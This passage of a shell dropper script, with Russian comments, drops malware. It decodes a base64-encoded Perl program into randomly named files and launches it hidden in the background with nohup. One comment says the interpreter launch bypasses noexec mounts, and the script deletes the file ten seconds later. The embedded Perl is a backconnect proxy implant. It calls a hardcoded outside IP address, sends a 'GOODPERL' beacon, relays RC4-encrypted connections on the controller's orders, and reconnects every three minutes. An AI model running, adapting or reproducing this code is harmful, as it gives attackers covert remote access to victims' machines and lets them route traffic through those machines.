jsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_321132b4() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCA